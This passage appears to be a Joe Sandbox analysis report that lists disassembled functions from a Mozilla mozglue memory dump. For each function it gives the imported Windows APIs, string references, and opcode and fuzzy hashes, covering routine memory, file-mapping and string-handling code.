Instruction ID: 609bc71084ba8e102140d6e04437048117a3225d344845a406bc98de2eeef0aa
Opcode Fuzzy Hash: 2389fb96a950be026fd5556f3af614af95b387896c51bce79e73201f2f8d7b07
Instruction Fuzzy Hash: 2AB1F871A001A08FDB14CE3CC89476D7BB1EF42318F185669E81ADBB96D732D8448F52

Function 6CB9AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB9AC52
CreateFileMappingW.KERNEL32 ref: 6CB9AC7D
GetSystemInfo.KERNEL32 ref: 6CB9AC98
MapViewOfFile.KERNEL32 ref: 6CB9ACB0
GetSystemInfo.KERNEL32 ref: 6CB9ACCD
MapViewOfFile.KERNEL32 ref: 6CB9AD05
UnmapViewOfFile.KERNEL32 ref: 6CB9AD1C
CloseHandle.KERNEL32 ref: 6CB9AD28
UnmapViewOfFile.KERNEL32 ref: 6CB9AD37
CloseHandle.KERNEL32 ref: 6CB9AD43
CloseHandle.KERNEL32 ref: 6CB9AD67

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 31b17984a815dab5163c1764480b3d1ec2eae6af35b25932e1dc57452330a5ad
Instruction ID: 46d11b695d7614abb9495997708254794e8901e13c54e2df04733db3a1cf4384
Opcode Fuzzy Hash: 31b17984a815dab5163c1764480b3d1ec2eae6af35b25932e1dc57452330a5ad
Instruction Fuzzy Hash: 6F3150B1A047448FDB00AF7CD68926EBBF0FF85305F01892DE98597261EF709458CB92

Function 6CB49620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB49675
__Init_thread_footer.LIBCMT ref: 6CB49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB49707
__Init_thread_footer.LIBCMT ref: 6CB4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49773

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB497B7
FreeLibrary.KERNEL32 ref: 6CB497D0
FreeLibrary.KERNEL32 ref: 6CB497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB49670
MapViewOfFileNuma2, xrefs: 6CB497B1
ntdll.dll, xrefs: 6CB496E3
NtMapViewOfSection, xrefs: 6CB49701

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 3181ca7cd58fe20f8e351c93c4c024db70f8ec51e248d821c02f0a203ef62849
Instruction ID: 892a9400c1fc53393f833d70d4c10bdcd0f46106b21d4d55f90bc1cabed27088
Opcode Fuzzy Hash: 3181ca7cd58fe20f8e351c93c4c024db70f8ec51e248d821c02f0a203ef62849
Instruction Fuzzy Hash: B841D57CB002459FDF00CFA6D985A9A77B8FB59364F008569ED0597744DB30E904CFA6

Function 6CB31E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB31EC1
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31EE1
EnterCriticalSection.KERNEL32(6CBBE744), ref: 6CB31F38
LeaveCriticalSection.KERNEL32(6CBBE744), ref: 6CB31F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CB31F83
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FC0
EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FE2
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB32019

Strings

MOZ_CRASH(), xrefs: 6CB32000

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 4a550cfdccb953405f4e8034b8be5fb03024546c625d123b032bbe39441af318
Instruction ID: b9cc4c7a146e7fe96e7eaa8ba6b3a301b6d47acc9c1f2f047dc63c8dfbfa5f4a
Opcode Fuzzy Hash: 4a550cfdccb953405f4e8034b8be5fb03024546c625d123b032bbe39441af318
Instruction Fuzzy Hash: FC41E375B003A58FDF009FAAC8C8B6E37B9EB5A308F140065F90897751DF7198048BDA

Function 6CB47E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB47EA7
malloc.MOZGLUE(00000001), ref: 6CB47EB3

Part of subcall function 6CB4CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB4CB49
Part of subcall function 6CB4CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB4CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB47EC4
mozalloc_abort.MOZGLUE(?), ref: 6CB47F19
malloc.MOZGLUE(?), ref: 6CB47F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB47F4D

Strings

d, xrefs: 6CB47F89

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b1e80b2be5e4c4bbbc93a07e7614663a8e242c371e2b7e875f8b5bec472a3a06
Instruction ID: 67a8df5c4c9391264862eaed7926ff16f99fefed746fd8f4d3292200bfb995ce
Opcode Fuzzy Hash: b1e80b2be5e4c4bbbc93a07e7614663a8e242c371e2b7e875f8b5bec472a3a06
Instruction Fuzzy Hash: 0231F661E047C89BDF01DB78DC059FEB7B8EF96208F449229ED4967612FB31A588C391

Function 6CB43E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB43EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB43FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CB43CCC), ref: 6CB44006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB440C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB44134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CB43CCC), ref: 6CB44143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CB43CCC), ref: 6CB44157

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f6d38a6430dc6cbaa20afd20732f7b4ceadd2824780f2665e3e19abc7f6ea5f2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B6A19FB1A44245CFDB40CF68C88065AB7F5FF48308F298199D909AF746D772E896DFA0

Function 6CB32030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CB53F47,?,?,?,6CB53F47,6CB51A70,?), ref: 6CB3207F
memset.VCRUNTIME140(?,000000E5,6CB53F47,?,6CB53F47,6CB51A70,?), ref: 6CB320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CB53F47,6CB51A70,?), ref: 6CB3211A
EnterCriticalSection.KERNEL32(6CBBE744,?,6CB53F47,6CB51A70,?), ref: 6CB32145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CB53F47,6CB51A70,?), ref: 6CB321BA
EnterCriticalSection.KERNEL32(6CBBE744,?,6CB53F47,6CB51A70,?), ref: 6CB321E0
LeaveCriticalSection.KERNEL32(6CBBE744,?,6CB53F47,6CB51A70,?), ref: 6CB32232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CB32253, 6CB32268
MOZ_CRASH(), xrefs: 6CB3227D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 9c6daa6e7b2cdc17e23fbc0dc7bde066d9ce3cc5ad0d214c79cccaca6f91668f
Instruction ID: 1014df7a9e21d64f04f0548d7e931d05c74cd8b28b99bbc699ba02fc10c4b43f
Opcode Fuzzy Hash: 9c6daa6e7b2cdc17e23fbc0dc7bde066d9ce3cc5ad0d214c79cccaca6f91668f
Instruction Fuzzy Hash: E761F631F002A68FCB04CEA9CD89B6E77B5EF85314F294235E528A7A95DB709C00C7C6

Function 6CB348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB7483A,?), ref: 6CB34ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB7483A,?), ref: 6CB34AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB7483A,?), ref: 6CB34A82

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB7483A,?), ref: 6CB34A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB7483A,?), ref: 6CB34A35

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB7483A,?), ref: 6CB34A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB7483A,?), ref: 6CB34AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB7483A,?), ref: 6CB34B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB7483A,?), ref: 6CB34B2C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 5c07384e41c32686f45b6a9f1df7633ebe3658249048360a453e121145a2c825
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 4B715AB19007869FC754CF68C480AAABBF5FF09308B105A3ED15A9BB41E732F559CB80

Function 6CB89D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB88273), ref: 6CB89D65
free.MOZGLUE(6CB88273,?), ref: 6CB89D7C
free.MOZGLUE(?,?), ref: 6CB89D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB89E0F
free.MOZGLUE(6CB8946B,?,?), ref: 6CB89E24
free.MOZGLUE(?,?,?), ref: 6CB89E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB89EC8
free.MOZGLUE(6CB8946B,?,?,?), ref: 6CB89EDF
free.MOZGLUE(?,?,?,?), ref: 6CB89EF5

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e46c2d6c1f5883632dc2022219ff8e7d49a6bbe4bfe246785d0c5465d86dea6b
Instruction ID: c0997160ef71d6466c72c5b4133a5ad7b0b520d50b19223ec698b05f3e271751
Opcode Fuzzy Hash: e46c2d6c1f5883632dc2022219ff8e7d49a6bbe4bfe246785d0c5465d86dea6b
Instruction Fuzzy Hash: B571917090AB819FDB12CF18C48055BF7F4FF99316B449619E89A5BB01EB30F889CB95

Function 6CB8DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB8DDCF

Part of subcall function 6CB6FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6FA4B

Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB890FF
Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB89108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DE0D
free.MOZGLUE(00000000), ref: 6CB8DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB7DEFD,?,6CB44A68), ref: 6CB8DF32

Part of subcall function 6CB8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB8DB86
Part of subcall function 6CB8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB8DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB7DEFD,?,6CB44A68), ref: 6CB8DF65
free.MOZGLUE(?), ref: 6CB8DF80

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 9649cd42bf159989cae0da5b83c3d61cc49754497b77cfb3ad830892af78dfc8
Instruction ID: 80b4e0934495e39ec06b580ea1814bc660146aa8e053da6776ac8fcdbdf9e9cf
Opcode Fuzzy Hash: 9649cd42bf159989cae0da5b83c3d61cc49754497b77cfb3ad830892af78dfc8
Instruction Fuzzy Hash: A751B6726026829BDF119F38E8806AE7376AF91319F95051FD45A53B00DB31F819CBA2

Function 6CB95D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95DC9
std::_Facet_Register.LIBCPMT ref: 6CB95DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95E45

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4bc4d2b154a2c1acc4de451a7253f0787590893ecfc9bb17131de518a3657a2d
Instruction ID: 52d31bac3f89a09b4dc95eea75cf024e3f76f2297fe47dcf894ffb497d38d98c
Opcode Fuzzy Hash: 4bc4d2b154a2c1acc4de451a7253f0787590893ecfc9bb17131de518a3657a2d
Instruction Fuzzy Hash: 0141BE307402548FCB00DF65C8D8EAE77B9EF8A319F140168E50697791DF35E809CB65

Function 6CB6CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CB331A7), ref: 6CB6CDDD

Strings

<jemalloc>, xrefs: 6CB6CF9F, 6CB6CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CB6CFA4, 6CB6CFB8

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 8ac3ea4596e0701646c6187bc70665ca4c54ad9b373afb18232e2204d10c2dea
Instruction ID: b0f7d6dc371717b9d8d205177940b15ad9052746edb7c8cb3e7d7ac69f73d296
Opcode Fuzzy Hash: 8ac3ea4596e0701646c6187bc70665ca4c54ad9b373afb18232e2204d10c2dea
Instruction Fuzzy Hash: 8931B431B412855BEF10AEA6CC85BBE7B75FB41718F204015F614ABE80DF70E4048BA6

Function 6CB3ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB3F100: LoadLibraryW.KERNEL32(shell32,?,6CBAD020), ref: 6CB3F122
Part of subcall function 6CB3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB3F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CB3ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB3EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CB3EDCC
CreateFileW.KERNEL32 ref: 6CB3EE08
free.MOZGLUE(00000000), ref: 6CB3EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CB3EE32

Part of subcall function 6CB3EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CB3EBB5
Part of subcall function 6CB3EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB6D7F3), ref: 6CB3EBC3
Part of subcall function 6CB3EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB6D7F3), ref: 6CB3EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CB3EDC1

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: b3a060e87e33e4f8e4990920b0e4ea5243a8d691dbb1e48a15dc39cea7e9f7da
Instruction ID: f7a20605312bd48ad7c1431d45fb99b3cd465b66a738d97f9312f968d4790204
Opcode Fuzzy Hash: b3a060e87e33e4f8e4990920b0e4ea5243a8d691dbb1e48a15dc39cea7e9f7da
Instruction Fuzzy Hash: 5151C071D052E49BDB01DF68D8407EEB7B0EF49318F44942EE8596B780EB306D48CBA2

Function 6CBAA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBAA565

Part of subcall function 6CBAA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAA4BE
Part of subcall function 6CBAA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBAA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBAA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBAA6B6

Strings

0, xrefs: 6CBAA5FB
z, xrefs: 6CBAA6AE

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
